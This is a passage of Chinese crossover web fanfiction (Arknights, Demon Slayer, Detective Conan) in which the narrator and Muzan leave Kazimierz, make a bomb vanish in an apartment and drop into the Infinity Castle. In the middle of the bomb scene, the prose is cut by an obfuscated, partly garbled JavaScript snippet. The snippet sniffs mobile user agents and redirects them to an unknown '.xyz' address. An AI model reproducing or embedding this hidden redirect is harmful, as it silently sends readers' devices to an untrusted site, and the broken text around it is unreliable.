“呃……这个热水壶是之前有人给我的,说想托我代为保管一下,看标识应该是罗德岛的,在这边还给您。”我编了个略显拙劣的理由,看着博士拿过热水壶检查的模样说,“虽然不太记得那人的名字了,不过交给罗德岛的各位,应该总能送回给物主。” 此乃谎言。 但是博士好像真信了。 在他将这个莫名其妙的热水壶交给阿米娅的瞬间,我脑中出现了传说中那个半夜三更博士在嘴里倒开水吃速食泡面的场景。所以面前这个沉稳的战术指挥家真的会做出那种行为吗?所以他对热水壶情有独钟,对这个壶的一切都无条件相信? 不,我到底在想什么啊,真的像无惨说的那样脑子坏掉了吗…… 就在我毫无意义地胡思乱想的间隙,耳边突然再次传来博士的声音。 “旅途漫长,辛苦了。” 那与我一致的嗓音,这次听起来却比刚才对话中的任何一句都要……渺远。 我不禁抬眼看向博士,对方却没有开口。那副漆黑的面罩隔绝了他的面孔,但我能感觉到,面罩之下的那双眼睛此刻正盯着我。 阿米娅和砾都没有说话,无惨也正心不在焉地看向别处。我看着博士愣神,很快又一句话传入耳中。 “你完全了解我,我也早已认识你。白夜,这段旅程,你是否得偿所愿?” 又是只有我能听见的内容,我非常清楚这些话来自面前的兜帽人,尽管对方只是这样看着我,而且我也明白,我能回答他。 甚至我不需要开口回答,因为答案我们互相都心知肚明。 我不敢打包票说博士就是我,但毫无疑问,我在游戏中留下的足迹,投射到了现在的“博士”身上。此刻,祂回应了我。 我说,得偿所愿的标准很难说,但至少我不会后悔。 “前路艰险,你是否会畏惧?” “但无论怎样都必须一直向前走,对吧。”我瞥了眼鬼舞辻无惨,他看着我一言不发,但我知道他一定有很多问题要问我,“我和博士,我们都一样,无论如何都只有向前走,不是吗?” 我看见博士点了点头。 随后方才始终笼罩着我的某种感觉消失了,大骑士领在同一时刻恢复电力,周围的建筑重新点亮,喧闹的人声又一次回到这座酣眠半个夜晚的城邦。 热水壶消失不见了,就好像它从未存在过,从未被我交给过任何人。 我暂时仍无法回到卡西米尔任何正规的酒店或旅馆,鬼舞辻无惨也不需要睡眠休息,在四城停电后的第一个黎明来临之前,我们选择了一栋高楼的顶部天台。 大骑士领的夜空永远被霓虹灯光照得亮如白昼,在晨光到来之前,这些灯光都不会熄灭。我坐在天台边,双脚垂到边沿外,无惨站在我身旁,望着远处的骑士竞技赛场,开始了他的追问。 “你刚才是怎么了?呆在那里像傻了一样,那个看不见脸的家伙不至于比之前那个村子里的东西还吓人吧。”他说的是奘铃村,博士自然是比不过恐怖游戏的场景,但要真的只是普通游戏,我也不会那样了。 我如实相告:“因为我听见他用我的声音说话,而且还用你听不见的声音——用你们都听不见的声音和我说了些东西。”连同对话的内容,我全部都告诉了他,这本就不算什么必须隐瞒的事。 “那算什么,莫名其妙的。” “我有和你说过‘博士’算这个游戏的主角对吧,同时也是玩家操控体验的角色,所以我想这是正常的。”我抬头看向他笑了笑,但他完全没看我,“或者也可以说,这是过去的我埋下的伏笔,过去的我投入情感,为现在的我提供了帮助。” 博士并不会轻易带着罗德岛参与卡西米尔的内部博弈,但现在我和无惨与罗德岛的合作如此轻易达成,这绝对与那段对话分不开关系。我要感谢的除了愿意提供帮助的博士,还有就是过去玩游戏的自己。 “投入情感,呵,毫无意义又浪费时间的行为,不过确实在此刻节省了时间。”他又看向远处泛起鱼肚白的半片天空,泰拉的太阳正在升起,那个对他无害的日光,却并非真实的恒星。 他大概不会喜欢在这里长久停留,这轮虚假的太阳只是虚幻的泡影。 我收回视线也一同看向他所看的地方,说:“我也在你身上投入了很多情感和时间啊,至少今天你真的愿意帮我找罗德岛,所以也不能说你完全不会回应我吧。” 鬼舞辻无惨垂下眼帘扫了我一眼,转身走下了天台边沿,丢下一句轻飘飘的“你想太多了”。 我回头看着他走向天台门的背影,一直看着他准备开门下去,才轻声道:“开玩笑的,不回应才是理所当然的。” 或许这个距离他也能听见,不过我到底是不知道他一如既往的平静之下藏着怎样的思绪,他只是很正常地开门、关门,脚步声渐轻下去。 无所谓啦,他怎样想都不会影响我的所思所为,而他当然也最好,最好是真的如他表现出来的那般,永远不会动摇、不会因他人而改变自己的想法。否则那就不像他了,就不是“鬼舞辻无惨”了。 他本来就该这样的…… 我翻身回到天台内,加快脚步追了下去。 四城大隔断事件是成功复刻了,商业联合会在零号地块榨取感染者人身价值以及与无胄盟勾结的相关证据也被提交给了监正会,银枪天马入城后大骑士领中心城区的各个街道都能看见他们的身影。 但问题是,感染者到底还是被推上了风口浪尖。 由于无胄盟的从中作梗,如今的舆论将大隔断定性为了感染者恐怖袭击,即便监正会允诺的合法身份能发到感染者手中,现在生活在大骑士领的人群中对感染者抱负面印象的才是多数。感染者骑士纵使能在赛场上收获粉丝,出了竞技场他们仍是遭人嫌弃的感染者。 这绝非红松骑士团最初的理想,他们现在最好的选择就是拿了合法身份后隐退,去卡西米尔的小村子安稳过完后半辈子,但谁都无法接受这样的结局。 鬼舞辻无惨只是找到了罗德岛一行人,之后的一些事仍是我和阿米娅谈出来的,具体内容大致也就是目前身为没有合法身份的感染者的我,希望从他们那里得到部分医疗援护;作为回报,我帮他们联络一些卡西米尔的感染者,算是给这家医药企业和患者之间牵线搭桥了。 这怎么看都不是一次对等的合作,但阿米娅说很高兴能有更多感染者得到救治,包括能前往罗德岛工作的感染者骑士,也是增加了舰船上的后勤或作战力量。说实话我还是觉得,自己和博士之间那点说不清道不明的联系才是促成合作的关键,像某种隐形的推力,使这次谈话反而成为了我在卡西米尔遇到的最顺利的一件事。 红松骑士团全员本就也是《长夜临光》活动前后实装的一批干员,提前帮他们双方联系上并不难,尽管野鬃听闻罗德岛是一家公司后仍表示开公司的都不是什么好东西。 去看看吧,我告诉他们,那是耀骑士停留过很长时间的地方,他们为大片大地的所有感染者而战。“他们能给大家提供更好的医药资源,至于工作嘛,就是一些普通的日常工作,贸易战制造站这样的,或者偶尔有些援护医疗队、支援天灾受灾地区这类外勤任务,不会为难大家的。”说到这里我想起来,原本的剧情中应该是由耀骑士玛嘉烈来向他们介绍罗德岛的。 好吧,很不好意思地抢了玛嘉烈的戏份了。 “那你呢?这话说得好像你不打算去那个罗德岛一样。”远牙问完这个问题后,几人的目光都落在我身上。 我回头看了眼不参与这场谈话的鬼 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“感觉这个问题去问他比较合适,不过他脾气不好哦,所以就当作秘密吧!我要先走了,决赛那天再见!” 我开溜了。 鬼舞辻无惨问我那几个感染者骑士说了什么,让我跑这么快,我没好意思告诉他详情,只说是小松鼠焰尾好奇他是什么种族。“我说你是萨卡兹,你就当自己是吧。”我端详着他的面孔,脑中想着数种萨卡兹的样貌,试图找到一些与他的相同点。 他好像真的很像血魔,以人血肉为食,肤色苍白双目血红的那种萨卡兹,法术也多半与鲜血有关的“鲜血的王庭”。 话说他今天闻起来好香啊…… “你在做什么?” 思路被他拉回来的时候,我意识到自己正抓着他的袖子凑近了他嗅着气味。 我在做什么?我在做什么啊! 但是今天的无惨真的,和以前都不太一样,异常的香气不断涌入我鼻腔,我十分确定气味来源是他。所以即便是意识到自己在做荒唐的事,我还是忍不住继续抓着他的袖子,甚至想埋进他的颈部……他的颈部…… 为什么有点,想吃掉他? 脑门上光速挨了一巴掌。 我吃痛松开抓着他的手,刚才被冲昏的头脑似乎清醒了一点。迎着他责问的目光,我尴尬地笑了两声:“好奇怪呀,刚才脑子里全部都是一种,觉得你的血好香肯定很好吃的感觉……” “什么意思,事到如今用这种态度向我讨要血液吗。我该说是你不知天高地厚,还是做出这种行为的你很荒唐,甚至不太像你平时……”话音未落,他突然顿住,抬手捏住我的脸颊看了许久,才问道,“你的瞳孔为什么变成红色了?” 红色?我的眼睛? 等等! 我惊呼起来:“我好像知道了!呃,大概是因为,今天用的那个泰拉种族盲盒……可能,是血魔……我是说,我今天可能正好变成了刚才说到的那种血魔。” “哈,所以你是把我当成什么食物了吗?胆子不小,脑子更不好。” “这也是没办法的嘛……”我重新向他解释了一遍血魔这支萨卡兹分支的特性,也提到了《明日方舟》游戏中的血魔角色对主角博士也曾有过想吸食他的血液这件事,“你可以理解为那个博士比其他长着兽耳和尾巴的人更接近你认知中的‘人类’,人类的血还是比泰拉人的血更香,这点你也同意吧?” 无惨没明白我为何突然在这里停下来问他,反问一句:“用这种自夸的语气是想做什么?我告诉过你你的血很难喝。” 我一怒之下怒了一下,继续原来的话题:“至少现在我们确定了,你在血魔的认知中是呃,味道很香的,某种生物,总之如果真的遇到血魔要小心啦。” 我把原本想说的话咽回了肚中。比起泰拉新生的神民与先民后裔,也就是这些半兽人,鬼和人类——最本真的那个定义——在血脉上更为接近,至少对血魔来说没什么区别,当然直接这么说出来绝对会惹他生气,所以还是算了。 我对血魔体质的好奇和不舍没有得到鬼舞辻无惨的半点让步,他咬着牙说如果我再像刚才那样就直接把我从几十层楼的楼顶扔下去清醒一下,最后勒令我重新用盲盒药剂换了新的拟态。 “然后他们问我,我们是什么关系,我说应该能算朋友,不过看你。”我看了一下系统显示的当前积分,400分,盘算着剧情差不多快结束了,这趟还算是收支相抵,“所以,我们能算朋友吧?” 无惨没有回答我。 “至少在别人问的时候,你会说我们是朋友的吧?” 他回头看了我一眼,嘴角勾起一丝讽刺的弧度。 “会、会的吧?” 好吧,就知道不会,虽然没什么关系,我才不会因为这种事感到难过,也绝不会偷偷骂他是个没有感情就知道利用别人的家伙。有什么大不了的,反正如果他真的和普通路人说了什么“是好用的工具人”这种话,被用那种看怪人的眼神看着的也只会是他而已。 现在想想没有变成鬼真是太好了,可以自己在心里蛐蛐他,只要不表现在脸上他就什么都看不出来。 又往前走了几步,鬼舞辻无惨突然站住脚步回过身,一言不发地俯视着我。我被盯得心里发毛,心说他总不能真的背后长眼看见我冲他吐舌的样子,于是干脆装死也闭口不说任何话。 随后他开口说话了。 “在你问的那个前提条件下,也不是不行吧。” 30. 第 30 章 骑士竞技的决赛以耀骑士玛嘉烈的获胜告终。这场观众眼中两位感染者骑士的比赛无论哪一方取得胜利,都将是感染者的骄傲,然而就在这时,大嘴莫布道出了一条足以让全场愕然的消息: “各位现场的观众,各位电视机前的朋友!骑士协会于昨日正式确认,并将于明天召开发布会,但现在,我们必须将真相告知观众们!” “六年前,耀骑士被骑士协会认定‘隐瞒感染者身份’而遭到流放处置!但今天,耀骑士终于得以昭雪!” 在这个耀骑士的声望即将到达顶峰、所有人都在关注着今年竞赛结果的时候,商业联合会和无胄盟做出了最后的挣扎,撒出这条他们认为足以帮他们逆风翻盘的情报。 “——将撤除对耀骑士的一切控诉,耀骑士!我们的冠军!不是感染者!” 犹如一记当头重击,敲在每一个观看这场比赛的人心上,赛场内先是寂静,随后沸腾起来。惊讶、质问、甚至是诘问,前一秒还在为玛嘉烈夺冠喝彩的观众,现在纷纷都将矛头指向了她。 她不是感染者,她居然不是?她为什么不是?她分明不是,却为何以感染者的身份参赛? “耀骑士欺骗了我们!”观众席内的一些感染者骑士愤然吼道,“她欺骗了所有信任她的感染者!她是个骗子!” 情绪被点燃,不仅仅是感染者骑士,有些普通观众也开始质疑:耀骑士并非感染者,却一直以感染者骑士的身份参赛,获得一众感染者的声援,这是否是一种恶意营销? 一些激动的人想冲下看台找玛嘉烈讨个说法,被场内安保拦下,而很快,另一批人的出现让一部分观众安静了下来。 无胄盟的杀手小队直接来到赛场,飞奔上观众席的台阶,直奔目标——玛嘉烈·临光的家人,妹妹玛莉娅以及姑妈佐菲娅。他们一直在赛场外等待着比赛的结果,一旦玛嘉烈夺冠,他们就会不择手段阻止事态继续发展,阻止玛嘉烈即将做出的回应。 冠军本人自然是不在意任何对她的指控,对突然公开的真相,她也并没有表现出任何波澜,只是走向了自己决赛的对手血骑士身旁,用肩膀将对方撑起,搀扶着他一同向赛场出口走去。 她不会在赛场内登上领奖台,也不会被不合时宜的澄清打乱脚步,她要做的始终不会改变。 “她要去冠军墙展厅,与血骑士一起,没有感染者或非感染者,仅作为骑士。” 鬼舞辻无惨看着电视屏幕上耀骑士与血骑士走出赛场的录像一言不发,我讲完了这段剧情,转身背对这一橱窗的电视机,看向道路远处走来的一金一红两个身影。 决赛门票的价格不菲,我问过无惨是否想去看现场比赛,他说自己对这般竞技比赛没有兴趣。“你承诺过会给我惊喜的,文明的进化,希望你没有夸大一些无聊的事。”他这么说着,拒绝了现场观看决赛的邀请。 那就没必要花冤枉钱了,全大骑士领备受瞩目的决赛没有人不想看到赛事,商业街区售卖家用电视机的店铺也将橱窗摆放展览的电视调至决赛直播的频道。我和无惨站在一家店外看完了这场激烈的比赛。 血骑士与耀骑士两人的武器双双折断,法术又在他们手中凝结,赛场被分成两半,一边是血骑士手中的血刃发出血红的光芒,另一边是在耀骑士手中凝聚的金色剑枪将半边赛场点亮。 鬼舞辻无惨对临光家族的法术不感兴趣,只有在看见血骑士的法术时,他脸上稍微露出了些许惊讶。 “以血为刃的能力吗,印象中是有过哪个下弦用过类似的血鬼术,倒是有几分相似。”他隔着屏幕一眼就看出了血骑士的身体即将到达极限,说,“不过人类的身体还是会受到限制,这般能力在鬼身上才能发挥到更好。” 我从没在漫画或设定中听过这段故事,他千百年来理应是见过无数种模样的手下,今天听他聊起还挺新奇的。于是我追问了一句:“我一直觉得用血凝成刀剑还蛮帅的,你那个手下是怎么战斗的?” 他的目光从电视屏幕上移到我脸上,想都没想,直接给出了否定的回答。 “下弦之月的鬼若能派上用场,也不至于只在这种时候让我想起来可能存在过这种家伙了,更不要说具体的血鬼术,你这个问题没有意义。” 好吧,说的也是。 时间回到现在,这条路正是从赛场通往冠军墙展厅的必经之路,宛若一条遥远的朝圣天途,两位骑士走在路上,将质疑和责备抛在身后,即便这一路并不太平。 这最后的朝圣之路,无胄盟发起了最后的攻击。 这场仗并不难打,事情发展到这个阶段,几乎所有人都在竭尽全力帮助走向冠军墙展厅的两位骑士。卡西米尔这个国度,该回到“骑士”的正轨上去了,只要是对骑士一职抱有过憧憬的人,无一不这么想。 伴随着银枪天马列队前来,这条朝圣之路再也没有人能妨碍,笼罩着大骑士领的长夜即将结束。骑士,终将照亮整片大地。 “所以,你会给出什么样的评价?” 我将一箱矿石病抑制剂放在常与红松骑士团见面商谈计划的地方,留下字条后便先一步拉着鬼舞辻无惨走了。长夜即将结束,旅人也该启程前往下一站。 这箱抑制剂是之前从罗德岛那里购买下的,电力恢复的第二日,医疗组如约帮我检查了身体,但谁也没搞懂的是,除了长在我左肩处的体表结晶,我身上再没有任何矿石病感染迹象。无论是造影检测的内脏器影像,还是血液检测,都没有一点矿石病的影子。 没有人能解释,连陪同查看检查结果的闪灵脸上都露出一丝惊讶。 如果真的要找个原因的话,大概也只能说明,我并非真正成为了泰拉人——由源石内信息转译出的动物与人类结合而成的新人类。体表长出源石结晶,是说明我身上有了源石的影响,但体内没有其余矿石病迹象,也只能说明,我仍然是自己从小到大学习认知中的人类。 只是我没有告诉任何人的一点,除了使用技能后偶尔感到的左肩疼痛,身上没有再出现过异常状况,甚至施法的时候还比之前要更顺畅。 矿石病现阶段无法治愈,感染就相当于宣判死刑,但我现在又算是什么?我无从得知。 只是现在的结果也能令人安心,至少矿石在我身上的影响没有那样深,尽管不知道最后的那一刻会在何时到来,但我能够相信,自己还有不少时间。 所有人的注意力都在今年这场发生太多戏剧性事件的骑士竞技上,我放慢了脚步,想从无惨那里了解一些他对故事的感想。 他像是早料到我会这么问他,没有过多思考便直接回答我:“你承诺我这是一个文明的前进,会给我惊喜,我承认你确实没有骗我,但是,太慢了。” “太慢?” “从进化的角度来看,他们这么多人大费周章,才将这个国度的文明向前推进了短短一点,太慢。”他的脸上看不出欣喜,也看不出失望,只是客观地评价着。 我说,任何国家的文明进化都不是人向鬼转化那么快的事,他在自己千年的生命中应该同样有所感知。“尽管日本确实挺小的,但一个国度内部的更迭和文脉的延续,你也有看着的吧。”我第一次尝试和他聊这样的话题,说实话,我真的很期待他的回答;一个生命纵向延伸到千年以上的存在,足以见证文明的诞生与消亡,这些在《鬼灭之刃》原作里没有写过,但他本人绝对有自己的见解。 “人类文明的发展吗……我花了更多时间在寻找青色变化与创造强大的鬼上,很多时候只是偶尔向人类社会投去一瞥,却发现他们每次都在纷争不休,那时我就觉得,人类其实挺无趣的。”无惨也并不急着离开这里,所以并没有催着我快些走。 “但是在明治时代之后,那些舶来品和外语还是蛮有意思的吧。” 他像是不满我直接说出他闲暇时的消遣,抬眸瞪了我一眼,说:“那又如何?一千多年下来,人类依然在相互斗争,你要如何证明,人类文明的延续和向前才是人类意志与辉光的展现?你甚至无法证明人类社会是按你宣称得那样在前进。” 在前进,我看着他答道,纷争无法避免,但人类至今都没有像恐龙那样灭绝就是人类文明在前进的最好证明。 “扯远了,地球online——哦就是现实世界,那些历史和社科理论复杂到现在一时半会儿说不清,先说回泰拉吧。你看这个卡西米尔,至少他们现在能认真地看待感染者问题,甚至尽可能甩掉一点商业资本娱乐至死的束缚,去让所有人看向同一个目标,这就是他们向前的结果。” 走过临街商铺的时候,我瞥了一眼橱窗摆放的耀骑士源石工艺周边,标价是一个听了会让人不禁倒吸凉气的数字。 “整个泰拉文明的主要矛盾是矿石病和天灾,但还有不为人所知的更大潜在威胁。现在,这里的时间是1097年,这个地方未来还需要应对来自天空、海洋以及极北之地的未知威胁,甚至仅仅是在几个月后他们就必须首先解决一个族群的特殊问题,他们必须团结起来。不以矿石病作为区分人的标签,也不以种族作为界限,这片大地的人正在努力走到一起,去面对可能毁灭整个世界的某些存在。” 啊,好复杂,要不直接给他的另一部手机安装《明日方舟》然后让他自己去看剧情吧。 “你依然没能改变我的想法,你口中所谓‘文明的进化’还是太慢,又要如何应对你说到的那种威胁?” “‘延续人类文明的唯一方式是毁灭人类’,当然这不是我说的,引用一下。无论是哪个世界,人类都会在面临文明毁灭的时候找出新的生路,也会有无数耀骑士这样的人站出来肩负责任,这就是我最喜欢的人类的辉光。”这趟散步般的前行最终随着系统指引来到了一栋商业写字楼的后门前,这里是消防通道,没有落锁,我在开门前对他笑了笑,“当然啦,我不是想让你改变想法,无惨老师作为一个意识处在更高维的生命个体,与身为人类的我有不同看法是完全正常的。我只是很高兴,今天可以和你聊聊这个话题,真的,谢谢你愿意和我分享你的看法。” “哈,‘老师’这种称呼又算什么,你在阴阳怪气?”无惨对我套近乎的调侃嗤笑一声,没有继续在这个话题上陈述了,先我一步推开门走了进去。 然后他在进门不过半米的位置站住,我正疑惑他怎么了,想着要不从他身后先钻进楼里别引起安保注意,他看了我一眼,让出身位。 我还在给自己澄清自己只是觉得加上一句称谓挺好玩的绝没有阴阳他,走到他让出来的地方后才看清里面的构造。然后我也说不出话来了,回头看向走进来的门,关上的大门早已不是现代写字楼玻璃门的模样。 “这就不声不响地换地方了?”这种转折很突然,但有前几次的经历,算不上什么惊吓。只是这是哪里? 面前的景象似乎是什么建筑的走廊,脚下踩着柔软的地毯,身后的玻璃门变成了西式风格的双扇大门,我尝试走回去打开那扇门,门外也变成了空荡的楼梯间,大门正上方标着消防通道的日语字样。 好嘛,这下是真的确信完全换地方了,但能得到的有效信息也就只有我们正身处某栋大楼的高层内,地点大约确定在日本,或是取材来自日本的某种捏他国家。 鬼舞辻无惨顺着走廊往前走了两步,走到第一间房间大门前停下打量着门牌,说:“和那种酒店有些像,但房间数量更少,而且看上去接近你生活的那个时代。” “像是哪个高级公寓,但是没人,很奇怪。”另一边的房间门是敞开的,我走过去看了一下,屋内有明显的生活痕迹,房门口有些凌乱地摆放着家居拖鞋,像是户主匆忙离开、连门都忘记关上的样子。 是发生了什么紧急事件,所以离开了吗……这般高级公寓的隔音效果优良不假,但现在也太安静了些,让人不禁怀疑该不会是来了什么恐怖无限流游戏。 系统提示在这时亮起,指向拐角处的方向闪烁了一下。我看了看无惨,他点头,我们一同朝方向提示处走去。闪烁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679162|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图标始终保持在与我们相距几步远的位置,一直到我们站在一个矮柜前,矮柜上放着常见的假花装饰,下方的柜门开了一道缝。 系统不再有反应,我便遵从好奇心拉开柜门看了一眼,里面正隐约传来轻微的电子计时声。 我打开柜门,电子屏上红色的数字正在读秒倒数,复杂的各色电线连通电子屏,下方是看不懂的机械结构。但尽管看不懂构造,至少也能知道这是什么。 “为什么会有炸弹?”而且如此眼熟。 鬼舞辻无惨冷哼一声,道:“这倒是更加‘惊喜’。” 怎么会有炸弹啊! 一看就不好解决的定时炸弹,现在摆放在这里,那公寓内没人的原因也能解释了,多半是谁发现炸弹后报了警,居民都离开去避难了。只是到现在也没有看见警察前来处理,只有我和无惨荒唐地推开门走到了这里,而我们谁也不会处理这种东西。 准确地说,无惨大概不屑于小心翼翼地拆解这对他造成不了多少伤害的玩意,我更是对这方面一窍不通,若真的爆炸了,我倒是也打算用源石技艺直接抗住热量和冲击…… 可是现在炸弹摆在这里,明显就是要求我们在不破坏建筑的情况下排除威胁嘛! 【提示:将手掌置于爆破物上方】 我对着那行系统提示眨眨眼,凑向无惨耳边小声问他:“这系统什么时候这么好心给提示了?” 他回我一句“我怎么知道”,示意我快些按提示说的做。 “等等为什么真的让我去做?万一炸了呢!” “你有那些花里胡哨的源石技艺就死不了吧,别浪费时间了。” 我撇撇嘴抬手放在炸弹上,一片白光在手心绽开,缓缓包裹住整个炸弹。在我以为可能要产生爆炸,想着是否要收回手展开钙质护盾的时候,白光消去,炸弹消失了。 刚才还放着嘀嘀作响的炸弹的柜子里,现在空无一物。 我看了一眼无惨,他不解地看着我,我摇头表示自己从没有用过任何技能。 不远处响起嘈杂的脚步声,听起来不止一人,他们正在向这边赶来。无论他们是什么人,我和无惨都绝不适合在此刻露面,现在炸弹不见了,说什么都不好解释。显然我们都是这么想的,下一秒也都立即动身从那个矮柜前离开。 离开前,我躲在拐角处瞄了一眼,来者是一支六七人的小队,多数人手持竖长盾牌,身着干练的制服,而被他们围在中间的人穿着厚重的套装,看不见脸,块头比别人大了将近一倍。 原来是警察吗,中间的大概是拆弹专家?不过现在炸弹都不见了,他们赶到现场看见情况也都面面相觑,那我们就更不合适被他们看见了。 然而当穿厚重套装的人摘下头盔后,我也愣住了。 那张脸,是萩原研二?如果是他的话就说明这里又是《名侦探柯南》的世界了,不过还是感觉有什么地方不太对,虽然只瞥见一眼,但这个萩原的面孔看起来比上次见面要更年轻,或者可以说是稚嫩些。 无惨把我拉走了,没给我机会再多看几眼。 系统提示又一次亮起,绕过警察,我们跟随提示的方向走到了公寓电梯前。直到真正看着电梯门合上,开始向下运行,才终于有时间复盘刚才发生的一切。 “有一说一,我好像想起来了……那个,炸弹,如果我没记错的话……”一些记忆在脑海中复苏,想到这里,实在是叫人不爽。 鬼舞辻无惨自然也是明白我指的是什么,接着说了下去:“是那个时候异于常理出现的东西吧,有够无聊的。” 在从卡兹平原离开的时候,突然出现在我们面前的炸弹,那个时候来不及反应,只能匆忙防护应对剧烈的爆炸,也导致前往下一个世界的时候我不得不与他分开。那个炸弹,那个炸弹!怎么就是这里的…… 而且说到公寓楼里的烈性炸弹,还有穿着厚重防护服的萩原研二,思路豁然开朗,我完全想明白了。“我们又在那个侦探小学生的作品世界了,不过时间是那次‘茧’游戏大约七年前,当时见到的两个爆破物处理警官其中一人,刚才就在那里。”我摊手对无惨说,“他原本会因为那个炸弹殉职,所以我当时还奇怪他怎么活着,到头来还是回到我们这里。” 电梯缓缓下行,从20楼去一楼是个相对漫长的过程,系统也姗姗来迟地播报出一系列奖励。 【完成主线任务《长夜临光》,获得积分奖励100】 【完成《名侦探柯南》支线任务,获得积分奖励30】 【根据玩家在任务中的表现,额外奖励积分50】 【玩家当前所持积分:580】 是值得欣喜的消息,积分的增长对玩什么游戏都喜欢囤材料的我来说看着就养眼。系统仍未提示下一个世界的任何信息,播报完奖励后电梯内恢复了寂静。 说起来,既然我们在这里意外阻止了萩原研二的殉职,那之后肯定还会有一次关于松田阵平的意外任务,像某种循环一般将我们所做的事与人链接起来。既然这样,为什么就不能提前结算奖励分数啊!明明在我自己感知的线性时间中,松田阵平的存活已经是发生在过去板上钉钉的事了,这系统怎么还是那么小气。 “喂,电梯为什么没有停?”鬼舞辻无惨叫了我,我抬头望去,显示屏上的数字消失不见,但能感到电梯仍在下行,没有停止的迹象。 我走近操作面板将所有楼层的按钮挨个按下,没有任何反应,按钮亮起一瞬后又迅速熄灭。我心说不好,取出帝具「八房」握在手中。 但事情真的很少按照我预想的行进。 就好比我已经准备好,电梯落定后可能就有开门杀的战斗,全神贯注地盯住电梯门缝,结果电梯非但没有停止,还下落得更快了。 最后,整个电梯的地板开始破碎,失去支撑的我和鬼舞辻无惨都在重力作用下坠落。 而从电梯中掉出去,我看清了周围崭新的景象。 这里是……无限城! 31. 第 31 章 眼前是望不到边境的错落建筑,十分熟悉的、无限城的场景,我正在这个空间里自由落体。 不是,等等,为什么会是这里? 四处不断响起三味线琴弦拨动的声音,每响起一次,就有一扇门开合、一间楼阁飞速移动,仔细看的话,这广袤无垠的空间中还有无数黑点在移动……不,不是黑点,是人,身着鬼杀队队服的人在向下坠落;他们中的一些人来不及调整姿势,落在平台上时就折断了手脚,或是直接被飞速撞来的房间碾成了肉泥。 我当然直到这是哪段剧情,只是为什么呢? 鬼舞辻无惨跟我说过,他是在那场决战之后重生并接触到游戏系统的,也就是说至少在他的时间线中,《鬼灭之刃》的故事已经完结,那现在系统再次带我们来到这里,是否意味着他…… 我心下有些慌乱地张望,回头便看见他在离我不远处,同样也是正在下落的姿态——当然他看起来比我优雅不少——这倒算一颗定心丸,至少他还在我身边,没有被故事线牵扯变成原作那个正准备大开杀戒的状态。 不过既然他在这里,那现在的无限城又是谁在控制? 我分心了。 调整身法,用钙质化的源石技艺保护自己,然后找个落脚点先踩稳,我本该这么做的,但胡思乱想中,我错过了难得的一块平台,下方又是无尽的深渊。无惨倒是毫不费力地落在平台上,在我想着要不要用什么能飞天的技能时,他的手臂变作长鞭状的异形,将我捞了回去。 然而我还未来得及开口谢他,或是分析一点当前的状况,就感到一股来自后背的目光。我并非对这种气息敏锐的人,只是那一瞬间,我感到自己像被猛兽盯住的猎物,而那个目光宛若利刃,刺得我呼吸一滞。 回头的同时,余光瞥见身边的无惨也同样回头,但他和我不太一样,他看向身后目光来源的时候,满眼都是阴鸷与憎恶的情绪,颈上青筋微微突起,从他身上传来的压迫感又让我起了一身鸡皮疙瘩。 但我早该想到回头会看见的结果,他也是,没有露出半分惊讶,仿佛早有预料。 目光的来源,不远处高一些的平台上,正站着相貌一模一样、只是腹部被珠世的手洞穿的鬼舞辻无惨。 拨弦的声音这次格外清晰,脚下的平台突兀地变换成纸门,在瞬间打开,下方不是无限的空间,只有一间密闭的和室。无论是谁都无法在重力作用下隔空跃起,无惨也没有飞翔的能力,等头顶的纸门合上后,和室内一片寂静,连灯光都被隔绝在外。 “为什么……所以,现在该做什么?”脑内的思绪一片混乱,我实在不知道为什么系统会带我们来到这里,两个鬼舞辻无惨的存在,这倒不是无法理解,无非就是两种不同的世界线诞生的两个无惨,但为什么呢? 这到底有什么意义? 鬼舞辻无惨却比任何时候都平静,冷冷地扫了眼头顶,低声说:“等着,他会来找我们的,如果是我的话,一定会这么做。” 我闻言看向他,犹豫着不知该怎样和他说这件事。他毕竟才是正主,有个一模一样的自己摆在眼前,对他来说大概是稍早一些即将被死亡的阴影追上的自己,他会怎样做? “比起那些猎鬼人,另一个自己才是更大的威胁,而且他来自何处、为何出现在这里、和自己有什么不同,那个家伙,也就是另一个我,就是这么想的。”他移回视线看向我,面色平淡,“所以只要在这里等着,然后杀了他。” 杀了他……他对另一个自己,是这样的态度吗…… 我怔怔地看着他,缓缓意识到他确实会这样做。 另一个同样的自己,从外貌到能力,乃至经历都与自己一模一样,高傲的鬼王是不会容许这般存在的。处在这条世界线的<无惨>看见了他,就一定会来杀他,更何况他是最了解自己的人,对方也是,在这样关键的决战时刻,能杀掉另一个相同的自己并吸收,绝对是大好的补给。 而对我身边的这个鬼舞辻无惨来说,他不在乎这条不属于自己的世界线中的其他人,有了一次记忆,即便与鬼杀队再次决战也绝不可能再让他们取胜,所以唯一的威胁就是另一个自己。他也不会允许那个自己继续存在,但他又知道彼时的自己受到毒素的负面影响,所以只要守株待兔等着对方攻过来,取胜不是难事。 “那、那你是不是打算,把他们都杀了然后留在这里,毕竟是你最熟悉的环境,吃掉祢豆子之后也不用费心去找花……”脑海中蹦出的设想太过荒唐,连无惨听见我说了什么看向我时都带上了些犹疑。 其实对我来说好像都可以,如果真的变成那种发展,我最后也就是等他某日厌烦了我的存在被杀之而后快,倒也没什么大不了的……只是那样做的话,系统是否会有惩罚?这点倒是更令人在意,如果直接掀桌般将《鬼灭之刃》的情节搅乱,系统大概不会允许吧。 但他拒绝了。 好像也不算拒绝,他只说我脑子越发不正常了,随后让我准备即将到来的恶战。 我一口气从系统商店买了三颗技能石,盘算着什么样的技能搭配可以收益最大化,又听见他随口问我:“那个系统的任务,大概也会让你去帮猎鬼人吧,不打算趁另一个我化解毒素的时候去吗?”他的情绪似乎比刚才好些,此刻问我的时候带着点笑意,像是真的在期待我的回答。 我看着他呆愣了几秒,随后摇摇头:“我又不认无限城的路,出去之后回不来了。” 